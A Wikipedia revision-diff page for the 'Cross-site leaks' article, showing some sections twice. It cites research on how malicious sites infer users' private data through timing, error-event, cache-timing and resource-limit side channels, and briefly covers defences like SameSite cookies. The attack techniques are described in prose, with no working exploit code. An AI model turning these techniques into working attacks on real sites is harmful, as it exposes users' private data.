Content deleted Content added
Sohom Datta (talk | contribs) address some old PR comments |
m Punctuation and spacing wrt refs |
||
| (26 intermediate revisions by 4 users not shown) | |||
Line 4:
{{Use Oxford spelling|date=March 2024}}
'''Cross-site leaks''', also known as '''XS-leaks''',
These attacks have been documented since 2000. One of the first research papers on the topic was published by researchers at [[Purdue University]]. The paper described an attack where the [[web cache]] was exploited to gather information about a website. Since then, cross-site leaks have become increasingly sophisticated. Researchers have found newer leaks targeting various web browser components. While the efficacy of some of these techniques varies, newer techniques are continually being discovered. Some older methods are blocked through updates to browser software. The introduction and removal of features on the Internet also lead to some attacks being rendered ineffective.
Line 10:
Cross-site leaks are a diverse form of attack, and there is no consistent classification of such attacks. Multiple sources classify cross-site leaks by the technique used to leak information. Among the well-known cross-site leaks are timing attacks, which depend on timing events within the web browser. Error events constitute another category, using the presence or absence of events to disclose data. Additionally, [[Cache timing attack|cache-timing attacks]] rely on the web cache to unveil information. Since 2023, newer attacks that use operating systems and web browser limits to leak information have also been found.
Before 2017, defending against cross-site leaks was considered to be difficult. This was because many of the information leakage issues exploited by cross-site leak attacks were inherent to the way websites worked. Most defences against this class of attacks have been introduced after 2017 in the form of extensions to the [[HTTP|hypertext transfer protocol]] (HTTP). These extensions allow websites to instruct the browser to disallow or annotate certain kinds of [[State (computer science)|stateful]] requests coming from other websites. One of the most successful approaches browsers have implemented is [[SameSite cookie|SameSite]] cookies. SameSite cookies allow websites to set a directive that prevents other websites from accessing and sending sensitive cookies. Another
== Background ==
{{Further information|Same-origin policy|Cross-origin resource sharing}}
[[Web application|Web applications]] (web apps) have two primary components: a web browser and one or more [[Web server|web servers]]. The browser typically interacts with the servers via [[HTTP|hyper text transfer protocol]] (HTTP) and [[WebSocket]] connections to deliver a web
Cross-site leaks allow attackers to
== Mechanism ==
<gallery mode="packed" widths="300px">▼
▲<gallery mode=packed widths=300px>
Cross-site leak attacks part-1-observe.svg|In the absence of a third party, the user's browser sends the web server an [[HTTP]] request. The server sends a response dependent on the nature of the request.
Cross-site leak attacks part-2-phish.svg|An attacker identifies a vulnerable [[URL]] and [[Phishing|phishes]] the user to their website using an email. When the user goes to the attacker's website, the attacker can make malicious requests to the web server using the vulnerable URL.
Cross-site leak attacks part-3-exfil.svg|The attacker is prevented from reading the web server's response. However, other factors like the response time or size can be measured by the attacker, leaking information about the response – a [[side-channel attack]].
</gallery>To carry out a cross-site leak attack, an attacker must first study how a website interacts with users. They need to identify a specific [[URL]] that produces different [[HTTP|Hyper Text Transfer Protocol]] (HTTP) responses based on the user's past actions on the site.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2747}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=787}} For instance, if the attacker is trying to attack [[Gmail]], they could try to find a search URL that returns a different HTTP response based on how many search results are found for a specific search term in a user's emails.{{sfn|Gelernter|Herzberg|2015|pp=1399–1402}} Once an attacker finds a specific URL, they can then host a website and [[Phishing|phish]] or otherwise lure unsuspecting users to the website. Once the victim is on the attacker's website, the attacker can use various embedding techniques to initiate cross-origin HTTP requests to the URL identified by the attacker.{{sfn|Sudhodanan|Khodayari|Caballero|2020|p=1}} However, since the attacker is on a different website, the [[same-origin policy]] imposed by the web browser will prevent the attacker from directly reading any part of the response sent by the vulnerable website.{{refn|group=note|This includes metadata associated with the response like status codes and HTTP headers{{sfn|Van Goethem|Vanhoef|Piessens|Joosen|2016|p=448}}}}{{sfn|Van Goethem|Vanhoef|Piessens|Joosen|2016|p=448}}
To circumvent this security barrier, the attacker can use browser-leak methods, to distinguish subtle differences between different responses. Browser leak methods are [[JavaScript]], [[CSS]] or [[HTML]] snippets that leverage long-standing [[information leakage]] issues ([[Side-channel attack|side channels]]) in the web browser to reveal specific characteristics about a HTTP response.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2747}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=787}} In the case of Gmail, the attacker could use JavaScript to time how long the browser took to [[Parsing|parse]] the HTTP response returned by the search result. If the time taken to parse the response returned by the endpoint was low, the attacker could infer that there were no search results for their query. Alternatively, if the site took longer, the attacker could infer that multiple search results were returned.{{sfn|Gelernter|Herzberg|2015|pp=1399–1402}} The attacker can subsequently use the information gained through these information leakages to exfiltrate sensitive information, which can be used to track and [[Data re-identification|deanonymize]] the victim.{{sfn|Sudhodanan|Khodayari|Caballero|2020|p=1}} In the case of Gmail, the attacker could make a request to the search endpoint with a query and subsequently measure the time the query took to figure out whether or not the user had any emails containing a specific query string.{{refn|group=note|An example of such a query could be the name of a well known bank, or the contact information of a person or organization that the user is expected to have interacted with.{{sfn|Gelernter|Herzberg|2015|p=1400}}}} If a response takes very little time to be processed, the attacker can assume that no search results were returned. Conversely, if a response takes a large amount amount of time to be processed, the attacker infer that a lot of search results were returned. By making multiple requests, an attacker could gain significant insight into the current state of the victim application, potentially revealing private information of a user, helping launch sophisticated spamming and phishing attacks.{{sfn|Gelernter|Herzberg|2015|p=1400}}▼
== History ==▼
Cross-site leaks have been known about since 2000;{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2754}} research papers dating from that year from [[Purdue University]] describe a theoretical attack that uses the HTTP cache to compromise the privacy of a user's browsing habits.{{sfn|Felten|Schneider|2000|pp=25,26,27,31}} In 2007, Andrew Bortz and [[Dan Boneh]] from [[Stanford University]] published a white paper detailing an attack that made use of timing information to determine the size of cross-site responses.{{sfn|Bortz|Boneh|2007|pp=623–625}} In 2015, researchers from [[Bar-Ilan University]] described a cross-site search attack that used similar leaking methods.
Independent security researchers have published blog posts describing cross-site leak attacks against real-world applications. In 2009, Chris Evans described an attack against [[Yahoo! Mail]] via which a malicious site could search a user's inbox for sensitive information.<ref name="PortSwigger">{{Cite web |last=Walker |first=James |date=2019-03-21 |title=New XS-Leak techniques reveal fresh ways to expose user information
As part of its increased focus on dealing with security issues that depend on misusing long-standing [[Web platform|web-platform]] features, Google launched XSLeaks Wiki in 2020.
Since 2020, there has been some interest among the academic security community in standardizing the classification of these attacks. In 2020, Sudhodanan et al. were among the first to systematically summarize previous work in cross-site leaks, and developed a tool called BASTA-COSI that could be used to detect leaky URLs.
== Threat model ==
The [[threat model]] of a cross-site leak relies on the attacker being able to direct the victim to a malicious website that is at least partially under the attacker's control. The attacker can accomplish this by compromising a web page, by phishing the user to a web page and loading arbitrary code, or by using a malicious advertisement on an otherwise-safe web page.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=786}}{{sfn|Sudhodanan|Khodayari|Caballero|2020|p=11}}
▲To circumvent this security barrier, the attacker can use browser-leak methods, to distinguish subtle differences between different responses. Browser leak methods are [[JavaScript]], [[CSS]] or [[HTML]] snippets that leverage long-standing [[information leakage]] issues ([[Side-channel attack|side channels]]) in the web browser to reveal specific characteristics about a HTTP response.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2747}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=787}} In the case of Gmail, the attacker could use JavaScript to time how long the browser took to [[Parsing|parse]] the HTTP response returned by the search result. If the time taken to parse the response returned by the endpoint was low, the attacker could infer that there were no search results for their query. Alternatively, if the site took longer, the attacker could infer that multiple search results were returned.{{sfn|Gelernter|Herzberg|2015|pp=1399–1402}} The attacker can subsequently use the information gained through these information leakages to exfiltrate sensitive information, which can be used to track and [[Data re-identification|deanonymize]] the victim.{{sfn|Sudhodanan|Khodayari|Caballero|2020|p=1}} In the case of Gmail, the attacker could make a request to the search endpoint with a query and subsequently measure the time the query took to figure out whether or not the user had any emails containing a specific query string.{{refn|group=note|An example of such a query could be the name of a well known bank, or the contact information of a person or organization that the user is expected to have interacted with.{{sfn|Gelernter|Herzberg|2015|p=1400}}}} If a response takes very little time to be processed, the attacker can assume that no search results were returned. Conversely, if a response takes a large amount amount of time to be processed, the attacker infer that a lot of search results were returned. By making multiple requests, an attacker could gain significant insight into the current state of the victim application, potentially revealing private information of a user, helping launch sophisticated spamming and phishing attacks.{{sfn|Gelernter|Herzberg|2015|p=1400}}
While every method of initiating a cross-origin request to a URL in a web page can be combined with every browser-leak method, this does not work in practice because dependencies exist between different inclusion methods and browser leaks. Some browser-leak methods require specific inclusion techniques to succeed.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=788}} For example, if the browser-leak method relies on checking CSS attributes such as the width and height of an element, the inclusion technique must use an [[HTML element]] with a width and height property, such as an image element, that changes when a cross-origin request returns an invalid or a differently sized image.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2745}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=785}}
== Types ==▼
Cross-site leaks comprise a highly varied range of attacks{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=784}} for which there is no established, uniform classification.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2748}} However, multiple sources typically categorized these attacks by the leaking techniques used during an attack.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=788}} {{As of|2021}}, researchers have identified over 38 leak techniques that target components of the browser.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=786}} New techniques are typically discovered due to changes in [[web platform API]]s, which are JavaScript interfaces that allow websites to query the browser for specific information.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|pp=2755-2756}} Although the majority of these techniques involve directly detecting state changes in the victim web app, some attacks also exploit alterations in shared components within the browser to indirectly glean information about the victim web app.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=788}}▼
=== Timing attacks ===▼
Timing attacks rely on the ability to time specific events across multiple responses.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|pp=796,797}} These were discovered by researchers at Stanford University in 2007, making them one of the oldest-known types of cross-site leak attacks.{{sfn|Bortz|Boneh|2007|pp=623–625}}▼
While initially used only to differentiate between the time it took for a HTTP request to resolve a response,{{sfn|Bortz|Boneh|2007|pp=623–625}} research performed after 2007 has demonstrated the use of this leak technique to detect other differences across web-app states. In 2017, Vila et al. showed timing attacks could infer cross-origin execution times across embedded contexts. This was made possible by a lack of [[site isolation]] features in contemporaneous browsers, which allowed an attacking website to slow down and amplify timing differences caused by differences in the amount of JavaScript being executed when events were sent to a victim web app.{{sfn|Vila|Köpf|2017|pp=851–853}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=796}}▼
In 2021, Knittel et al. showed the Performance API{{refn|group=note|The Performance API is a set of Javascript functions that allow websites to retrieve various [[Web performance#Metrics|metrics associated with web performance]]<ref>{{Cite web |date=2023-02-19 |title=Performance - Web APIs {{!}} MDN |url=https://developer.mozilla.org/en-US/docs/Web/API/Performance |access-date=2024-03-11 |website=[[MDN Web Docs]] |language=en-US}}</ref>}} could leak the presence or absence of redirects in responses. This was possible due to a bug in the Performance API that allowed the amount of time shown to the user to be negative when a redirect occurred. [[Google Chrome]] subsequently fixed this bug.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1778}} In 2023, Snyder et al. showed timing attacks could be used to perform pool-party attacks in which websites could block shared resources by exhausting their global quota. By making the victim web app execute JavaScript that used these shared resources and then timing how long these executions took, the researchers were able to reveal information about the state of a web app.
=== Error events ===▼
Error events is a leak technique that allows an attacker to distinguish between multiple responses by registering error-[[event handler]]s and listening for events through them. Due to their versatility and ability to leak a wide range of information, error events are considered a classic cross-site leak vector.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1775}}▼
One of the most-common use cases for error events in cross-site leak attacks is determining HTTP responses by attaching the event handlers <code>onload</code> and <code>onerror</code> event handlers to a HTML element and waiting for specific error events to occur. A lack of error events indicates no HTTP errors occurred. In contrast, if the handler <code>onerror</code> is triggered with a specific error event, the attacker can use that information to distinguish between HTTP content types, status codes and media-type errors.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1775,1785}} In 2019, researchers from [[Technische Universität Darmstadt|TU Darmstadt]] showed this technique could be used to perform a targeted [[Data re-identification|deanonymization attack]] against users of popular web services such as [[Dropbox]], [[Google Docs]], and [[GitHub]] that allow users to share arbitrary content with each other.{{sfn|Staicu|Pradel|2019|pp=924,930}}{{sfn|Zaheri|Oren|Curtmola|2022|p=1505}}▼
Since 2019, the capabilities of error events have been expanded. In 2020, Janc et al. showed by setting the redirect mode for a fetch request to <code>manual</code>, a website could leak information about whether a specific URL is a redirect.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1785}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=796}} Around the same time, Jon Masas and Luan Herrara showed by abusing URL-related limits, an attacker could trigger error events that could be used to leak redirect information about URLs.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1777,1785}} In 2021, Knittel et al. showed error events that are generated by a
=== Cache-timing attacks ===▼
Cache-timing attacks rely on the ability to infer hits and misses in shared caches on the web platform.{{sfn|Mishra|Laperdrix|Rudametkin|Rouvoy|2021|p=404}} One of the first instances of a cache-timing attack involved the making of a cross-origin request to a page and then probing for the existence of the resources loaded by the request in the shared HTTP and the [[Domain Name System|DNS]] cache. The paper describing the attack was written by researchers at Purdue University in 2000, and describes the attack's ability to leak a large portion of a user's browsing history by selectively checking if resources that are unique to a web page have been loaded.{{sfn|Felten|Schneider|2000|pp=25,28,29}}{{sfn|Mishra|Laperdrix|Rudametkin|Rouvoy|2021|p=404}}{{sfn|Bansal|Preibusch|Milic-Frayling|2015|p=97}}▼
This attack has become increasingly sophisticated, allowing the leakage of other types of information. In 2014, Jia et al. showed this attack could [[Geolocation|geo-locate]] a person by measuring the time it takes for the [[Internationalization and localization|localized]] [[Domain name|domain]] of a group of multinational websites to load.{{sfn|Mishra|Laperdrix|Rudametkin|Rouvoy|2021|p=404}}{{sfn|Jia|Dong|Liang|Saxena|2015|pp=1,2}}{{sfn|Bansal|Preibusch|Milic-Frayling|2015|p=99}} In 2015, Van Goethem et al. showed using the then-newly introduced [[Cache manifest in HTML5|application cache]], a website could instruct the browser to disregard and override any caching directive the victim website sends. The paper also demonstrated a website could gain information about the size of the cached response by timing the cache access.{{sfn|Van Goethem|Joosen|Nikiforakis|2015|pp=1385,1386}}{{sfn|Kim|Lee|Kim|2016|pp=411–413}}▼
=== Global limits ===▼
Global limits, which are also known as pool-party attacks, do not directly rely on the state of the victim web app. This cross-site leak was first discovered by Knittel et al. in 2020 and then expanded by Snyder et al. in 2023.{{sfn|Snyder|Karami|Edelstein|Livshits|2023|p=7095}} The attack to abuses global operating systems or hardware limitations to starve shared resources.{{sfn|Snyder|Karami|Edelstein|Livshits|2023|pp=7096,7097}} Global limits that could be abused include the number of [[Network socket|raw socket]] connections that can be registered and the number of [[Web worker|service workers]] that can be registered. An attacker can infer the state of the victim website by performing an activity that triggers these global limits and comparing any differences in browser behaviour when the same activity is performed without the victim website being loaded.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1782,1776–1778}} Since these types of attacks typically also require timing [[side channels]], they are also considered timing attacks.{{sfn|Snyder|Karami|Edelstein|Livshits|2023|p=7095}}▼
=== Other techniques ===▼
In 2019, Gareth Heyes discovered that by setting the [[URL hash]] of a website to a specific value and subsequently detecting whether a loss of focus on the current web page occurred, an attacker could determine the presence and position of elements on a victim website.<ref>{{Cite web |date=2019-10-08 |title=XS-Leak: Leaking IDs using focus |url=https://portswigger.net/research/xs-leak-leaking-ids-using-focus |access-date=2023-12-28 |website=PortSwigger Research |archive-date=2023-12-28 |archive-url=https://web.archive.org/web/20231228085833/https://portswigger.net/research/xs-leak-leaking-ids-using-focus |url-status=live }}</ref> In 2020, Knittel et al. showed an attacker could leak whether or not a <code>Cross-Origin-Opener-Policy</code> header was set by obtaining a reference to the <code>window</code> object of a victim website by framing the website or by creating a popup of the victim website. Using the same technique of obtaining window references, an attacker could also count the number of frames a victim website had through the <code>window.length</code> property.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1778}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=797}}▼
While newer techniques continue to be found, older techniques for performing cross-site leaks have become obsolete due to changes in the [[World Wide Web Consortium]] (W3C) specifications and updates to browsers. In December 2020, Apple updated its browser [[Safari (web browser)|Safari]]'s [[Intelligent Tracking Prevention]] (ITP) mechanism, rendering a variety of cross-site leak techniques researchers at Google had discovered ineffective.<ref>{{Cite web |title=Google finds Apple Safari anti-tracking feature actually enabled tracking |last=Ng |first=Alfred |url=https://www.cnet.com/news/privacy/google-finds-apple-safari-anti-tracking-feature-actually-enabled-tracking/ |access-date=2023-12-28 |website=CNET |language=en |archive-date=2023-12-11 |archive-url=https://web.archive.org/web/20231211164714/https://www.cnet.com/news/privacy/google-finds-apple-safari-anti-tracking-feature-actually-enabled-tracking/ |url-status=live }}</ref><ref>{{Cite web |date=2019-12-10 |title=Preventing Tracking Prevention Tracking |last=Wilander |first=John |url=https://webkit.org/blog/9661/preventing-tracking-prevention-tracking/ |access-date=2023-12-28 |website=WebKit |archive-date=2023-11-16 |archive-url=https://web.archive.org/web/20231116172403/https://webkit.org/blog/9661/preventing-tracking-prevention-tracking/ |url-status=live }}</ref><ref>{{Cite web |title=Information Leaks via Safari's Intelligent Tracking Prevention |first1=Artur|last1=Janc|first2=Krzysztof|last2=Kotowicz|first3=Lukas|last3=Weichselbaum|first4=Roberto|last4=Clapis▼
|url=https://research.google/pubs/information-leaks-via-safaris-intelligent-tracking-prevention/ |access-date=2023-12-28 |website=Google Research |archive-date=2023-12-28 |archive-url=https://web.archive.org/web/20231228090446/https://research.google/pubs/information-leaks-via-safaris-intelligent-tracking-prevention/ |url-status=live }}</ref> Similarly, the widespread introduction of cache partitioning in all major browsers in 2020 has reduced the potency of cache-timing attacks.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1780}}▼
== Example ==
Line 74 ⟶ 113:
};
</syntaxhighlight>This JavaScript snippet, which can be embedded in an attacker-controlled web app, loads the victim web app inside an iframe, waits for the document to load and subsequently requests the icon from the CDN. The attacker can determine whether the icon was cached by timing its return. Because the icon will only be cached if and only if the victim app returns at least one result, the attacker can determine whether the victim app returned any results for the given query.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=785}}{{sfn|Felten|Schneider|2000|p=26}}<ref name=":3" />
▲== History ==
▲Cross-site leaks have been known about since 2000;{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2754}} research papers dating from that year from [[Purdue University]] describe a theoretical attack that uses the HTTP cache to compromise the privacy of a user's browsing habits.{{sfn|Felten|Schneider|2000|pp=25,26,27,31}} In 2007, Andrew Bortz and [[Dan Boneh]] from [[Stanford University]] published a white paper detailing an attack that made use of timing information to determine the size of cross-site responses.{{sfn|Bortz|Boneh|2007|pp=623–625}} In 2015, researchers from [[Bar-Ilan University]] described a cross-site search attack that used similar leaking methods but used a technique in which the input was crafted to grow the size of the responses, leading to a proportional growth in the time taken to generate the responses, thus increasing the attack's accuracy.{{sfn|Gelernter|Herzberg|2015|pp=1394–1397}}
▲Independent security researchers have published blog posts describing cross-site leak attacks against real-world applications. In 2009, Chris Evans described an attack against [[Yahoo! Mail]] via which a malicious site could search a user's inbox for sensitive information.<ref name="PortSwigger">{{Cite web |date=2019-03-21 |title=New XS-Leak techniques reveal fresh ways to expose user information |last=Walker |first=James |url=https://portswigger.net/daily-swig/new-xs-leak-techniques-reveal-fresh-ways-to-expose-user-information |access-date=2023-10-29 |website=The Daily Swig |language=en |archive-date=2023-10-29 |archive-url=https://web.archive.org/web/20231029162650/https://portswigger.net/daily-swig/new-xs-leak-techniques-reveal-fresh-ways-to-expose-user-information |url-status=live }}</ref> In 2018, Luan Herrara described a security exploit that allowed them to exfiltrate data about sensitive security issues using the search functionality of Google's Monorail bug tracker that is actively used by [[Open source|open-source]] projects such as the [[Chromium (web browser)|Chromium]], Angle and [[Skia Graphics Engine]].{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2021|pp=1,6}}<ref>{{Cite web |last=Herrera |first=Luan |date=2019-03-31 |title=XS-Searching Google's bug tracker to find out vulnerable source code |url=https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549 |access-date=2023-10-29 |website=Medium |language=en |archive-date=2023-10-29 |archive-url=https://web.archive.org/web/20231029162653/https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549 |url-status=live }}</ref> In 2019, Terjanq, a Polish security researcher, published a blog post describing a cross-site search attack that allowed them to exfiltrate sensitive user information across high-profile Google products.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1772}}<ref name=":3">{{Cite web |author=Terjanq |title=Mass XS-Search using Cache Attack – HackMD |url=https://terjanq.github.io/Bug-Bounty/Google/cache-attack-06jd2d2mz2r0/index.html |access-date=2023-10-29 |publisher=[[GitHub]] |archive-date=2023-10-29 |archive-url=https://web.archive.org/web/20231029162649/https://terjanq.github.io/Bug-Bounty/Google/cache-attack-06jd2d2mz2r0/index.html |url-status=live }}</ref>
▲As part of its increased focus on dealing with security issues that depend on misusing long-standing web-platform features, Google launched XSLeaks Wiki in 2020 in an attempt to create an open-knowledge database, and analysing and compiling information about cross-site leak attacks.<ref name="PortSwigger" />{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2021|p=10}}{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2756}}
▲Since 2020, there has been some interest among the academic security community in standardizing the classification of these attacks. In 2020, Sudhodanan et al. were among the first to systematically summarize previous work in cross-site leaks, and developed a tool called BASTA-COSI that could be used to detect leaky URLs. {{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2756}}{{sfn|Sudhodanan|Khodayari|Caballero|2020|p=2}} In 2021, Knittel et al. proposed a new formal model to evaluate and characterize cross-site leaks, allowing the researchers to find new leaks affecting several browsers. {{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2756}}{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1773}} In 2022, Van Goethem et al. evaluated currently available defences against these attacks and extended the existing model to consider the state of browser components as part of the model.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2756}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=787}} In 2023, a paper published by Rautenstrauch et al. systemizing previous research into cross-site leaks was awarded the Distinguished Paper Award at the [[IEEE Symposium of Security and Privacy]].<ref>{{Cite web |title=IEEE Symposium on Security and Privacy 2023 |url=https://sp2023.ieee-security.org/program-awards.html |access-date=2023-10-29 |website=sp2023.ieee-security.org |archive-date=2023-10-29 |archive-url=https://web.archive.org/web/20231029162649/https://sp2023.ieee-security.org/program-awards.html |url-status=live }}</ref>
▲== Types ==
▲Cross-site leaks comprise a highly varied range of attacks{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=784}} for which there is no established, uniform classification.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|p=2748}} However, multiple sources typically categorized these attacks by the leaking techniques used during an attack.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=788}} {{As of|2021}}, researchers have identified over 38 leak techniques that target components of the browser.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=786}} New techniques are typically discovered due to changes in [[web platform API]]s, which are JavaScript interfaces that allow websites to query the browser for specific information.{{sfn|Rautenstrauch|Pellegrino|Stock|2023|pp=2755-2756}} Although the majority of these techniques involve directly detecting state changes in the victim web app, some attacks also exploit alterations in shared components within the browser to indirectly glean information about the victim web app.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=788}}
▲=== Timing attacks ===
▲Timing attacks rely on the ability to time specific events across multiple responses.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|pp=796,797}} These were discovered by researchers at Stanford University in 2007, making them one of the oldest-known types of cross-site leak attacks.{{sfn|Bortz|Boneh|2007|pp=623–625}}
▲While initially used only to differentiate between the time it took for a HTTP request to resolve a response,{{sfn|Bortz|Boneh|2007|pp=623–625}} research performed after 2007 has demonstrated the use of this leak technique to detect other differences across web-app states. In 2017, Vila et al. showed timing attacks could infer cross-origin execution times across embedded contexts. This was made possible by a lack of [[site isolation]] features in contemporaneous browsers, which allowed an attacking website to slow down and amplify timing differences caused by differences in the amount of JavaScript being executed when events were sent to a victim web app.{{sfn|Vila|Köpf|2017|pp=851–853}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=796}}
▲In 2021, Knittel et al. showed the Performance API{{refn|group=note|The Performance API is a set of Javascript functions that allow websites to retrieve various [[Web performance#Metrics|metrics associated with web performance]]<ref>{{Cite web |date=2023-02-19 |title=Performance - Web APIs {{!}} MDN |url=https://developer.mozilla.org/en-US/docs/Web/API/Performance |access-date=2024-03-11 |website=[[MDN Web Docs]] |language=en-US}}</ref>}} could leak the presence or absence of redirects in responses. This was possible due to a bug in the Performance API that allowed the amount of time shown to the user to be negative when a redirect occurred. [[Google Chrome]] subsequently fixed this bug.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1778}} In 2023, Snyder et al. showed timing attacks could be used to perform pool-party attacks in which websites could block shared resources by exhausting their global quota. By making the victim web app execute JavaScript that used these shared resources and then timing how long these executions took, the researchers were able to reveal information about the state of a web app. {{sfn|Snyder|Karami|Edelstein|Livshits|2023|p=7095}}
▲=== Error events ===
▲Error events is a leak technique that allows an attacker to distinguish between multiple responses by registering error-[[event handler]]s and listening for events through them. Due to their versatility and ability to leak a wide range of information, error events are considered a classic cross-site leak vector.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1775}}
▲One of the most-common use cases for error events in cross-site leak attacks is determining HTTP responses by attaching the event handlers <code>onload</code> and <code>onerror</code> event handlers to a HTML element and waiting for specific error events to occur. A lack of error events indicates no HTTP errors occurred. In contrast, if the handler <code>onerror</code> is triggered with a specific error event, the attacker can use that information to distinguish between HTTP content types, status codes and media-type errors.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1775,1785}} In 2019, researchers from [[Technische Universität Darmstadt|TU Darmstadt]] showed this technique could be used to perform a targeted [[Data re-identification|deanonymization attack]] against users of popular web services such as [[Dropbox]], [[Google Docs]], and [[GitHub]] that allow users to share arbitrary content with each other.{{sfn|Staicu|Pradel|2019|pp=924,930}}{{sfn|Zaheri|Oren|Curtmola|2022|p=1505}}
▲Since 2019, the capabilities of error events have been expanded. In 2020, Janc et al. showed by setting the redirect mode for a fetch request to <code>manual</code>, a website could leak information about whether a specific URL is a redirect.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1785}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=796}} Around the same time, Jon Masas and Luan Herrara showed by abusing URL-related limits, an attacker could trigger error events that could be used to leak redirect information about URLs.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1777,1785}} In 2021, Knittel et al. showed error events that are generated by a sub-resource integrity check, a mechanism that is used to confirm a sub-resource a website loads has not been changed or compromised, could also be used to guess the raw content of an HTTP response and to leak the content-length of the response.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1778,1782}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=789}}
▲=== Cache-timing attacks ===
▲Cache-timing attacks rely on the ability to infer hits and misses in shared caches on the web platform.{{sfn|Mishra|Laperdrix|Rudametkin|Rouvoy|2021|p=404}} One of the first instances of a cache-timing attack involved the making of a cross-origin request to a page and then probing for the existence of the resources loaded by the request in the shared HTTP and the [[Domain Name System|DNS]] cache. The paper describing the attack was written by researchers at Purdue University in 2000, and describes the attack's ability to leak a large portion of a user's browsing history by selectively checking if resources that are unique to a web page have been loaded.{{sfn|Felten|Schneider|2000|pp=25,28,29}}{{sfn|Mishra|Laperdrix|Rudametkin|Rouvoy|2021|p=404}}{{sfn|Bansal|Preibusch|Milic-Frayling|2015|p=97}}
▲This attack has become increasingly sophisticated, allowing the leakage of other types of information. In 2014, Jia et al. showed this attack could [[Geolocation|geo-locate]] a person by measuring the time it takes for the [[Internationalization and localization|localized]] [[Domain name|domain]] of a group of multinational websites to load.{{sfn|Mishra|Laperdrix|Rudametkin|Rouvoy|2021|p=404}}{{sfn|Jia|Dong|Liang|Saxena|2015|pp=1,2}}{{sfn|Bansal|Preibusch|Milic-Frayling|2015|p=99}} In 2015, Van Goethem et al. showed using the then-newly introduced [[Cache manifest in HTML5|application cache]], a website could instruct the browser to disregard and override any caching directive the victim website sends. The paper also demonstrated a website could gain information about the size of the cached response by timing the cache access.{{sfn|Van Goethem|Joosen|Nikiforakis|2015|pp=1385,1386}}{{sfn|Kim|Lee|Kim|2016|pp=411–413}}
▲=== Global limits ===
▲Global limits, which are also known as pool-party attacks, do not directly rely on the state of the victim web app. This cross-site leak was first discovered by Knittel et al. in 2020 and then expanded by Snyder et al. in 2023.{{sfn|Snyder|Karami|Edelstein|Livshits|2023|p=7095}} The attack to abuses global operating systems or hardware limitations to starve shared resources.{{sfn|Snyder|Karami|Edelstein|Livshits|2023|pp=7096,7097}} Global limits that could be abused include the number of [[Network socket|raw socket]] connections that can be registered and the number of [[Web worker|service workers]] that can be registered. An attacker can infer the state of the victim website by performing an activity that triggers these global limits and comparing any differences in browser behaviour when the same activity is performed without the victim website being loaded.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|pp=1782,1776–1778}} Since these types of attacks typically also require timing [[side channels]], they are also considered timing attacks.{{sfn|Snyder|Karami|Edelstein|Livshits|2023|p=7095}}
▲=== Other techniques ===
